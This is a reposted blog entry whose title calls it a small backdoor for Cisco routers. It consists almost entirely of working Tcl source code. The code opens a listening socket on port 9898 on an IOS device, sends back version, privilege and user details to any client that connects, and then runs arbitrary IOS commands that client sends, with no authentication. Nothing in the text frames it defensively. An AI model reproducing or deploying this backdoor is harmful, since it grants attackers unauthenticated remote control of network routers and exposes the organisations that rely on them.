Cisco TclShell Code (Cisco路由器小后门源代码)

===code===
#
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "====================================="
puts $sock "    Cisco TclShell      "
puts $sock "====================================="
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
set response [exec "sh users"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
    set response [exec "$line"]
    puts $sock $response
}
}
set port 9898
set sh [socket -server callback $port]
vwait var
close $sh
===code===

本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/551862,如需转载请自行联系原作者


上一篇:阿里新一代分布式任务调度平台Schedulerx2.0破土而出


下一篇:Struts2系列教程1:第一个Struts2程序